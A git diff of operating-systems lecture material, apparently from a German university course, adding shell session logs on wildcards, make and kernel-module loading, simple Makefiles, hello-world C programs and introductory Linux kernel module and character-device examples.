+cassini/home/peter/bo/2021ss/bs/20210423> cd test/ +cassini/home/peter/bo/2021ss/bs/20210423/test> echo mv ../test-*.c +mv ../test-1.c ../test-2.c +cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test-*.c +cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l +insgesamt 0 +cassini/home/peter/bo/2021ss/bs/20210423/test> cd .. +cassini/home/peter/bo/2021ss/bs/20210423> ls -l +insgesamt 8 +drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test +-rw-r--r-- 1 peter peter 0 Apr 23 11:37 test-2.c +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex +-rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/wildcards-3.txt b/20210423/wildcards-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..2ab73de48e5fec561ce24442f5b66935a3a2855a --- /dev/null +++ b/20210423/wildcards-3.txt @@ -0,0 +1,9 @@ +cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-*.txt +mv: das angegebene Ziel '../find-5.txt' ist kein Verzeichnis +cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-*.txt +mv -i ../find-1.txt ../find-2.txt ../find-3.txt ../find-5.txt +cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-[15].txt +mv -i ../find-1.txt ../find-5.txt +cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-[15].txt +mv: '../find-5.txt' überschreiben? n +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/xkcd b/20210423/xkcd new file mode 100755 index 0000000000000000000000000000000000000000..9964c95684e445d54fa4d26b6eb096257bed767c --- /dev/null +++ b/20210423/xkcd @@ -0,0 +1,42 @@ +#!/bin/sh + +set -e + +prefix="${1:-xkcd}" +suffix="$2" +url=$(xsel) + +filebase="$prefix-$(echo $url | sed -e 's/^.*\///')" +filename="$filebase$suffix" +orig_filename=$(echo $filename | sed -e 's/\.png$/-orig.png/') +if [ -e "$orig_filename" ]; then + echo -n "$orig_filename exists. Press ENTER to proceed, ^C to abort. " + read junk +fi + +if [ -e "$filename" ]; then + mv "$filename" "$orig_filename" +fi + +if [ "$prefix" = "xkcd" ]; then + url2=$(echo $url | sed -e 's/\.png$/_2x.png/') + filename2=$(echo $filename | sed -e 's/\.png$/_2x.png/') + if [ -e "$filename2" ]; then + echo -n "$filename2 exists. Press ENTER to proceed, ^C to abort. " + read junk + fi + wget "$url" -O "$filename" + wget "$url2" -O "$filename2" + ls -l "$filename" "$filename2" + test -s "$filename2" || rm "$filename2" +else + wget "$url" -O "$filename" + ls -l "$filename" +fi + +if [ -e "$orig_filename" ]; then + if diff "$orig_filename" "$filename"; then + echo "$filename unchanged" + mv "$orig_filename" "$filename" + fi +fi diff --git a/20210430/Makefile b/20210430/Makefile new file mode 120000 index 0000000000000000000000000000000000000000..134aa0a7e9fd70818ec2dbee3f7201a161389434 --- /dev/null +++ b/20210430/Makefile @@ -0,0 +1 @@ +Makefile-modules-2 \ No newline at end of file diff --git a/20210430/Makefile-1 b/20210430/Makefile-1 new file mode 100644 index 0000000000000000000000000000000000000000..6176ca2ae44724e1c600350f8a9f3cb97baa74aa --- /dev/null +++ b/20210430/Makefile-1 @@ -0,0 +1,2 @@ +hello-3: hello-3.c + gcc -Wall -O hello-3.c -o hello-3 diff --git a/20210430/Makefile-2 b/20210430/Makefile-2 new file mode 100644 index 0000000000000000000000000000000000000000..4d111b46792c7bdf29ea38bfc9e31ebb38e6484a --- /dev/null +++ b/20210430/Makefile-2 @@ -0,0 +1,5 @@ +TARGET = hello-3 +CFLAGS = -Wall -O + +$(TARGET): hello-3.c + gcc $(CFLAGS) hello-3.c -o hello-3 diff --git a/20210430/Makefile-3 b/20210430/Makefile-3 new file mode 100644 index 0000000000000000000000000000000000000000..4c57b77d9975700f8790e9b677300a02b389e2c3 --- /dev/null +++ b/20210430/Makefile-3 @@ -0,0 +1,5 @@ +TARGET = hello-3 +CFLAGS = -Wall -O + +$(TARGET): $(TARGET).c + gcc $(CFLAGS) $< -o $(TARGET) diff --git a/20210430/Makefile-modules-1 b/20210430/Makefile-modules-1 new file mode 100644 index 0000000000000000000000000000000000000000..9c79a1d26b3f4b8e6490addcc38333ee13ecef48 --- /dev/null +++ b/20210430/Makefile-modules-1 @@ -0,0 +1,10 @@ +obj-m += hellomod-1.o + +# obj-m += hellomod-2.o +# obj-m += chardev-1.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/20210430/Makefile-modules-2 b/20210430/Makefile-modules-2 new file mode 100644 index 0000000000000000000000000000000000000000..8c9b708954395ea97aa4b355d93269b083ddfeb8 --- /dev/null +++ b/20210430/Makefile-modules-2 @@ -0,0 +1,9 @@ +obj-m = hellomod-1.o +obj-m += hellomod-2.o +obj-m += chardev-1.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/20210430/chardev-1.c b/20210430/chardev-1.c new file mode 100644 index 0000000000000000000000000000000000000000..17a6651a33313322de202fbcb6bbf82333c0b766 --- /dev/null +++ b/20210430/chardev-1.c @@ -0,0 +1,166 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); + printk(KERN_INFO "the driver, create a dev file with\n"); + printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); + printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); + printk(KERN_INFO "the device file.\n"); + printk(KERN_INFO "Remove the device file and module when done.\n"); + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + /* + * Unregister the device + */ + unregister_chrdev(Major, DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); + return -EINVAL; +} diff --git a/20210430/chardev-2.c b/20210430/chardev-2.c new file mode 100644 index 0000000000000000000000000000000000000000..54b8e3f30a580c7896ea18a0e4358059a6c03a48 --- /dev/null +++ b/20210430/chardev-2.c @@ -0,0 +1,183 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/device.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +struct class *dev_Class; +struct device *chr_dev; + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + // Create module class + printk(KERN_INFO "Creating device class LCD...\n"); + dev_Class = class_create(THIS_MODULE,DEVICE_NAME); + if( dev_Class == NULL) + { + printk( KERN_ALERT "Error! Class couldn't be created!\n" ); + return 1 ; + } + printk( KERN_INFO "Class created!\n" ); + // Create device in /dev/... + printk(KERN_INFO "Creating device\n"); + chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME); + + printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); + printk(KERN_INFO "the driver, create a dev file with\n"); + printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); + printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); + printk(KERN_INFO "the device file.\n"); + printk(KERN_INFO "Remove the device file and module when done.\n"); + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + /* + * Unregister the device + */ + unregister_chrdev(Major, DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); + return -EINVAL; +} diff --git a/20210430/chardev-3.c b/20210430/chardev-3.c new file mode 100644 index 0000000000000000000000000000000000000000..516a074f806e3f600009b39ca912bf5ab69e3989 --- /dev/null +++ b/20210430/chardev-3.c @@ -0,0 +1,198 @@ +/* + * chardev.c: Creates a read-only char device that says how many times + * you've read from the dev file + */ + +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/device.h> +#include <linux/fs.h> +#include <asm/uaccess.h> /* for put_user */ + +MODULE_LICENSE("GPL"); + +/* + * Prototypes - this would normally go in a .h file + */ +int init_module(void); +void cleanup_module(void); +static int device_open(struct inode *, struct file *); +static int device_release(struct inode *, struct file *); +static ssize_t device_read(struct file *, char *, size_t, loff_t *); +static ssize_t device_write(struct file *, const char *, size_t, loff_t *); + +struct class *dev_Class; +struct device *chr_dev; + +#define SUCCESS 0 +#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ +#define BUF_LEN 80 /* Max length of the message from the device */ + +/* + * Global variables are declared as static, so are global within the file. + */ + +static int Major; /* Major number assigned to our device driver */ +static int Device_Open = 0; /* Is device open? + * Used to prevent multiple access to device */ +static char msg[BUF_LEN]; /* The msg the device will give when asked */ +static char *msg_Ptr; + +static struct file_operations fops = { + .read = device_read, + .write = device_write, + .open = device_open, + .release = device_release +}; + +/* + * This function is called when the module is loaded + */ +int init_module(void) +{ + Major = register_chrdev(0, DEVICE_NAME, &fops); + + if (Major < 0) { + printk(KERN_ALERT "Registering char device failed with %d\n", Major); + return Major; + } + + // Create module class + printk (KERN_INFO "Creating device class \"chardev\" ...\n"); + dev_Class = class_create (THIS_MODULE,DEVICE_NAME); + if( dev_Class == NULL) + { + printk (KERN_ALERT "Error! Class couldn't be created!\n"); + return 1; + } + printk (KERN_INFO "Class created!\n"); + // Create device in /dev/... + printk (KERN_INFO "Creating device\n"); + chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME); + if (chr_dev == NULL) + { + printk( KERN_ALERT "Error! Device couldn't be created!\n" ); + return 1 ; + } + + return SUCCESS; +} + +/* + * This function is called when the module is unloaded + */ +void cleanup_module(void) +{ + printk(KERN_INFO "module chardev-4 cleanup\n"); + //Unregister the device + if (chr_dev) + { + printk(KERN_INFO "Unregister device ...\n"); + device_unregister(chr_dev); + printk(KERN_INFO "OK\n"); + } + + if (dev_Class) + { + printk(KERN_INFO "Unregister class ...\n"); + class_unregister(dev_Class); + printk(KERN_INFO "OK\n"); + } + + printk(KERN_INFO "Unregister Chardev ...\n"); + unregister_chrdev(Major, DEVICE_NAME); + printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME); +} + +/* + * Methods + */ + +/* + * Called when a process tries to open the device file, like + * "cat /dev/mycharfile" + */ +static int device_open(struct inode *inode, struct file *file) +{ + static int counter = 0; + + if (Device_Open) + return -EBUSY; + + Device_Open++; + sprintf(msg, "I already told you %d times Hello world!\n", counter++); + msg_Ptr = msg; + try_module_get(THIS_MODULE); + + return SUCCESS; +} + +/* + * Called when a process closes the device file. + */ +static int device_release(struct inode *inode, struct file *file) +{ + Device_Open--; /* We're now ready for our next caller */ + + /* + * Decrement the usage count, or else once you opened the file, you'll + * never get get rid of the module. + */ + module_put(THIS_MODULE); + + return 0; +} + +/* + * Called when a process, which already opened the dev file, attempts to + * read from it. + */ +static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ + char *buffer, /* buffer to fill with data */ + size_t length, /* length of the buffer */ + loff_t * offset) +{ + /* + * Number of bytes actually written to the buffer + */ + int bytes_read = 0; + + /* + * If we're at the end of the message, + * return 0 signifying end of file + */ + if (*msg_Ptr == 0) + return 0; + + /* + * Actually put the data into the buffer + */ + while (length && *msg_Ptr) { + + /* + * The buffer is in the user data segment, not the kernel + * segment so "*" assignment won't work. We have to use + * put_user which copies data from the kernel data segment to + * the user data segment. + */ + put_user(*(msg_Ptr++), buffer++); + + length--; + bytes_read++; + } + + /* + * Most read functions return the number of bytes put into the buffer + */ + return bytes_read; +} + +/* + * Called when a process writes to dev file: echo "hi" > /dev/hello + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); + return -EINVAL; +} diff --git a/20210430/freedos.hd b/20210430/freedos.hd new file mode 100644 index 0000000000000000000000000000000000000000..bf24ea7697c79c81cbb1ff01ddb015a63faff730 Binary files /dev/null and b/20210430/freedos.hd differ diff --git a/20210430/hello-1.c b/20210430/hello-1.c new file mode 100644 index 0000000000000000000000000000000000000000..95edc4536cc17900a3dbb69c4ca9e3c66ec8da93 --- /dev/null +++ b/20210430/hello-1.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +int main (void) +{ + printf ("[H"); + printf ("[JH[0m"); + printf ("[Ke[0m"); + printf ("[Ll[0m"); + printf ("[Il[0m"); + printf ("[Ho[0m"); + return 0; +} diff --git a/20210430/hello-2.c b/20210430/hello-2.c new file mode 100644 index 0000000000000000000000000000000000000000..420d2eb570e62d4e7dbe2f7aaf351d5d55a9ff7a --- /dev/null +++ b/20210430/hello-2.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) +{ + printf ("\x1b[H\x1b[J"); + printf ("\x1b[00m\x1b[01;35m"); + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210430/hello-3.c b/20210430/hello-3.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210430/hello-3.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210430/hellomod-1.c b/20210430/hellomod-1.c new file mode 100644 index 0000000000000000000000000000000000000000..a9fef793369a4e24da98b91e1bb7c651190ceea2 --- /dev/null +++ b/20210430/hellomod-1.c @@ -0,0 +1,20 @@ +/* + * hello-1.c - The simplest kernel module. + */ +#include <linux/module.h> /* Needed by all modules */ +#include <linux/kernel.h> /* Needed for KERN_INFO */ + +int init_module(void) +{ + printk(KERN_INFO "Hello world 1.\n"); + + /* + * A non 0 return means init_module failed; module can't be loaded. + */ + return 0; +} + +void cleanup_module(void) +{ + printk(KERN_INFO "Goodbye world 1.\n"); +} diff --git a/20210430/hellomod-2.c b/20210430/hellomod-2.c new file mode 100644 index 0000000000000000000000000000000000000000..a2bb30b1329f9a2997a2d6164631618635f41f4c --- /dev/null +++ b/20210430/hellomod-2.c @@ -0,0 +1,22 @@ +/* + * hello-2.c - The simplest kernel module. + */ +#include <linux/module.h> /* Needed by all modules */ +#include <linux/kernel.h> /* Needed for KERN_INFO */ + +MODULE_LICENSE("GPL"); + +int init_module(void) +{ + printk(KERN_INFO "Hello world 2.\n"); + + /* + * A non 0 return means init_module failed; module can't be loaded. + */ + return 0; +} + +void cleanup_module(void) +{ + printk(KERN_INFO "Goodbye world 2.\n"); +} diff --git a/20210430/make-1.txt b/20210430/make-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..56706abfce4ed9ae3aa8afaabd620525e2fb9f20 --- /dev/null +++ b/20210430/make-1.txt @@ -0,0 +1,40 @@ +cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile +hello-3: hello-3.c + gcc -Wall -O hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> cat hello-3.c +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} +cassini/home/peter/bo/2021ss/bs/20210430> make +gcc -Wall -O hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3 +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210430> make +make: „hello-3“ ist bereits aktuell. +cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c +cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt +insgesamt 1120 +-rw-r--r-- 1 peter peter 1048576 Okt 22 2013 freedos.hd +-rw-r--r-- 1 peter peter 4069 Apr 4 2014 chardev-1.c +-rw-r--r-- 1 peter peter 390 Apr 4 2014 hellomod-1.c +-rw-r--r-- 1 peter peter 4659 Mai 5 2017 chardev-2.c +-rw-r--r-- 1 peter peter 414 Apr 26 2019 hellomod-2.c +-rw-r--r-- 1 peter peter 4997 Apr 26 2019 chardev-3.c +-rw-r--r-- 1 peter peter 230 Apr 30 12:06 SCRATCH +-rw-r--r-- 1 peter peter 210 Apr 30 12:25 nix-hello.c +-rw-r--r-- 1 peter peter 185 Apr 30 12:33 hello-1.c +-rw-r--r-- 1 peter peter 143 Apr 30 12:36 hello-2.c +-rwxr-xr-x 1 peter peter 16608 Apr 30 12:40 a.out +-rw-r--r-- 1 peter peter 208 Apr 30 12:52 Makefile-1 +-rw-r--r-- 1 peter peter 54 Apr 30 12:55 Makefile +-rwxr-xr-x 1 peter peter 16608 Apr 30 12:55 hello-3 +-rw-r--r-- 1 peter peter 82 Apr 30 12:56 hello-3.c +cassini/home/peter/bo/2021ss/bs/20210430> make +gcc -Wall -O hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3 +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210430/make-2.txt b/20210430/make-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..3f913d150da63f15b364b73e49a36d870c0690ad --- /dev/null +++ b/20210430/make-2.txt @@ -0,0 +1,11 @@ +TARGET = hello-3 +CFLAGS = -Wall -O + +$(TARGET): hello-3.c + gcc $(CFLAGS) hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> make +make: „hello-3“ ist bereits aktuell. +cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c +cassini/home/peter/bo/2021ss/bs/20210430> make +gcc -Wall -O hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210430/make-3.txt b/20210430/make-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..739e3e02731ba7f5e910aadda75962f3a802a030 --- /dev/null +++ b/20210430/make-3.txt @@ -0,0 +1,9 @@ +TARGET = hello-3 +CFLAGS = -Wall -O + +$(TARGET): $(TARGET).c + gcc $(CFLAGS) $< -o $(TARGET) +cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c +cassini/home/peter/bo/2021ss/bs/20210430> make +gcc -Wall -O hello-3.c -o hello-3 +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210430/make-4.txt b/20210430/make-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..3a4f21f40dc59736a8f9091996439a55635e6622 --- /dev/null +++ b/20210430/make-4.txt @@ -0,0 +1,26 @@ +cassini/home/peter/bo/2020ws/hp/20201217> cat philosophy.c +#include <stdio.h> +#include "answer.h" + +int main (void) +{ + printf ("The answer is %d.\n", answer ()); + return 0; +} +cassini/home/peter/bo/2020ws/hp/20201217> cat answer.h +extern int answer (void); +cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -o philosophy +/usr/bin/ld: /tmp/ccPlT8mv.o: in function `main': +philosophy.c:(.text+0x5): undefined reference to `answer' +collect2: error: ld returned 1 exit status +cassini/home/peter/bo/2020ws/hp/20201217> cat answer.c +#include "answer.h" + +int answer (void) +{ + return 23; +} +cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c answer.c -o philosophy +cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy +The answer is 23. +cassini/home/peter/bo/2020ws/hp/20201217> diff --git a/20210430/make-5.txt b/20210430/make-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..2bcefad9bdd3d855d3bfda6b91ab5b9b5f5c5d94 --- /dev/null +++ b/20210430/make-5.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -c +cassini/home/peter/bo/2020ws/hp/20201217> ls -l philosophy* +-rwxr-xr-x 1 peter peter 16680 Apr 30 14:18 philosophy +-rw-r--r-- 1 peter peter 117 Jan 4 14:29 philosophy.c +-rw-r--r-- 1 peter peter 1632 Apr 30 14:19 philosophy.o +cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O answer.c -c +cassini/home/peter/bo/2020ws/hp/20201217> ls -l answer.* +-rw-r--r-- 1 peter peter 56 Jan 4 14:29 answer.c +-rw-r--r-- 1 peter peter 26 Jan 4 14:29 answer.h +-rw-r--r-- 1 peter peter 1208 Apr 30 14:20 answer.o +cassini/home/peter/bo/2020ws/hp/20201217> gcc philosophy.o answer.o -o philosophy +cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy +The answer is 23. +cassini/home/peter/bo/2020ws/hp/20201217> diff --git a/20210430/modules-1.txt b/20210430/modules-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..073503859f3c6cf906cfa5d6f33125032b996a08 --- /dev/null +++ b/20210430/modules-1.txt @@ -0,0 +1,40 @@ +cassini/home/peter/bo/2021ss/bs/20210430> cat hellomod-1.c +/* + * hello-1.c - The simplest kernel module. + */ +#include <linux/module.h> /* Needed by all modules */ +#include <linux/kernel.h> /* Needed for KERN_INFO */ + +int init_module(void) +{ + printk(KERN_INFO "Hello world 1.\n"); + + /* + * A non 0 return means init_module failed; module can't be loaded. + */ + return 0; +} + +void cleanup_module(void) +{ + printk(KERN_INFO "Goodbye world 1.\n"); +} +cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile +obj-m = hellomod-1.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt hellomod-1.* +-rw-r--r-- 1 peter peter 390 Apr 4 2014 hellomod-1.c +-rw-r--r-- 1 peter peter 132152 Apr 30 14:37 hellomod-1.o +-rw-r--r-- 1 peter peter 790 Apr 30 14:37 hellomod-1.mod.c +-rw-r--r-- 1 peter peter 139912 Apr 30 14:37 hellomod-1.mod.o +-rw-r--r-- 1 peter peter 270648 Apr 30 14:37 hellomod-1.ko +cassini/home/peter/bo/2021ss/bs/20210430> insmod hellomod-1.ko +bash: insmod: Kommando nicht gefunden. +cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-1.ko +[sudo] Passwort für peter: +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210430/modules-2.txt b/20210430/modules-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..84e1d27e124fbbdb089681a36a200e96578c5f2a --- /dev/null +++ b/20210430/modules-2.txt @@ -0,0 +1,11 @@ +cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head +Module Size Used by +hellomod_1 16384 0 +v4l2loopback 45056 0 +v4l2_common 16384 1 v4l2loopback +snd_seq_dummy 16384 0 +snd_hrtimer 16384 0 +snd_seq_midi 16384 0 +snd_seq_midi_event 16384 1 snd_seq_midi +snd_seq 81920 3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy +nfnetlink_queue 24576 0 diff --git a/20210430/modules-3.txt b/20210430/modules-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..ca94c8700124215570564875338badbd15e23d21 --- /dev/null +++ b/20210430/modules-3.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head +Module Size Used by +hellomod_1 16384 0 +v4l2loopback 45056 0 +v4l2_common 16384 1 v4l2loopback +snd_seq_dummy 16384 0 +snd_hrtimer 16384 0 +snd_seq_midi 16384 0 +snd_seq_midi_event 16384 1 snd_seq_midi +snd_seq 81920 3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy +nfnetlink_queue 24576 0 +cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod_1 +cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep hello +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210430/modules-4.txt b/20210430/modules-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..a9ff3a18c3e1ec936730f656d5bce2e0cb91454c --- /dev/null +++ b/20210430/modules-4.txt @@ -0,0 +1,53 @@ +cassini/root# tail -f /var/log/kern.log +Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08 +Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found +Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through +Apr 30 13:16:56 cassini kernel: [1241542.459524] sdb: sdb1 +Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk +Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null) +Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel. +Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel 